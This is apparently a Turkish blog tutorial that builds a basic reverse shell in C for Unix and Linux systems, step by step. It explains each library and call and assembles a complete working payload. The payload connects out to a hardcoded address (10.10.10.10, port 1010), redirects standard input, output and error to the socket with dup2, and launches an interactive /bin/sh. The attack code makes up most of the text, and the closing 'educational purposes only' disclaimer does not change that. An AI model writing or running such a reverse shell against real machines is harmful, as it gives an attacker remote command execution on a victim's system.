C ile Basic Reverse Shell Oluşturma

Bu yazımızda c ile Unix, Linux sistemler için basic bir Reverse Shell oluşturacağız.

Yazımızda yazacağımız kodların tamamını buradan ulaşabilirsiniz. Başlamadan önce;

Reverse Shell Nedir?

Kurban bilgisayarda çalıştığında saldırgan ile iletişimi ve komut çalıştırmasına olanak sağlayan yapıya Reverse Shell(ters kabuk) denir.

Gelelim Reverse Shelli oluşturmaya..

1.Öncelikle gerekli kütüphaneleri ekleyelim.

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>

<stdio.h> Klasik bir kütüphanedir. Giriş/çıkış fonksiyonlarını barındıran header dosyasıdır.

<unistd.h> POSIX sistemler için kullanılan kütüphanedir. POSIX sistemlerden kastımız Unix, Linux sistemlerdir. execl() ve dup2() fonksiyonlarını içerir.

<sys/socket.h> Bir bağlantının oluşması için kullanılması gereken kütüphanedir, bağlantı ile ilgili olan listen(), bind(), accept(), connect() gibi fonksiyonları içerir.

<arpa/inet.h> ise internet işlemleri için tanımlanır. Kullandığımız inet_addr() ve htons() fonksiyon ve işlevleri içerir.

2.Gerekli ön işlemcileri tanımlama

#define myAddr “10.10.10.10”
#define myPort 1010

Burada iki adet define yani ön işlemci komutu tanımlayacağız. Bunlardan biri adresimizi diğeri de iletişim portumuzu tutacak.

3.Komut satırı argümanları

int main (int argc, char **argv) {

}

Bütün kodları ana fonksiyon içerisine yazacağız.

4.Soket oluşturma

int mySocket = socket(AF_INET,SOCK_STREAM,0);

Soket fonksiyonunu kullanarak iletişim yolunu açmış bulunuyoruz.

Biraz daha detaylandırır isek;

AF_INET, kullanılacak olan protokol türünü belirtmektedir. Biz IPv4 protokolünü kullanacağımız için AF_INET olarak belirttik.

SOCK_STREAM, kullanılacak olan veri gönderme protokolünü belirtir. Biz TCP üzerinden göndereceğimiz için SOCK_STREAM olarak belirttik.

Son parametre ise taşıma protokolünü belirtir ve genellikle 0’dır.

5.Struct oluşturup veri alışverişinin özelliklerinin verilmesi

struct sockaddr_in sockinfo;

sockinfo.sin_family            = AF_INET;
sockinfo.sin_addr.s_addr = inet_addr(myAddr);
sockinfo.sin_port                = htons(myPort);

Burada sockinfo adında bir struct oluşturuyoruz. Veri alışverişinin özelliklerini belirleyeceğiz.

sockinfo.sin_family = AF_INET; bunu zaten yukarıda bahsetmiştik. Alışverişin IPv4 üzerinden olacağını belirtmiş olduk.

sockinfo.sin_addr.s_addr = inet_addr(myAddr); Adresimizi tanımladık. Yukarıda adresimizi tutan bir ön işlemci tanımlamıştık hatırlarsak, onu şuan burada belirtiyoruz.

sockinfo.sin_port = htons(myPort); burada ise veri alışverişinin hangi port üzerinden gerçekleşeceğini belirtiyoruz.

6.Bağlantı isteği

connect(mySocket,(struct sockaddr *)&sockinfo, sizeof(sockinfo));

Bağlantı isteği için connect() fonksiyonu kullanacağız..

ilk parametre olarak oluşturduğumuz soket ismini almaktadır. Yani mySocket

(struct sockaddr *)&sockinfo, karşı taraftaki soket adresinin tutulduğu alana ait göstericidir,

sizeof(sockinfo) ise tutulan bilgilerin boyutunu tutmaktadır.

7.STDIN, STDOUT ve STDERR yapılarını bağlantıya yönlendirme

for (int i=0; i<3; i++) { dup2(mySocket, i);}

aslında bu işlemin aynısı aşağıda daha ayrıntılı verilmiştir. Biz sadece for loop kullanarak tek satırda hallettik.

dup2(mySocket,0);  // STDIN
dup2(mySocket,1);  // STDOUT
dup2(mySocket,2);  // STDERR

Nedir bunlar diye soracak olursak program çalıştırılırken sırasıyla veri girişi, veri yazdırma ve hata işleme için tanımlanan sabitlerdir.

8.Komut çalıştırma

execl(“/bin/sh”,”sh”,”-i”,NULL,NULL);

execl() fonksiyonu bize komut çalıştırma imkanı tanıyacaktır. Sonundaki “l” harfi çalıştıracağımız programa gönderilecek olan parametreleri liste şeklinde almasını sağlar. Liste şeklinde olduğu için de listenin son elemanı NULL olmalıdır.

execl() ilk parametre olarak çalıştırılabilir dosyanın yol bilgisini alır. Bu da “/bin/sh” dır. /bin/sh , Bash benzeri bir komut yorumlayıcısıdır. POSIX kabuğu olarak da geçer.

ve

return 0;

Not: Sadece eğitim amaçlıdır. Etik olmayan durumlar için kullanmayınız.

About The Author

Reply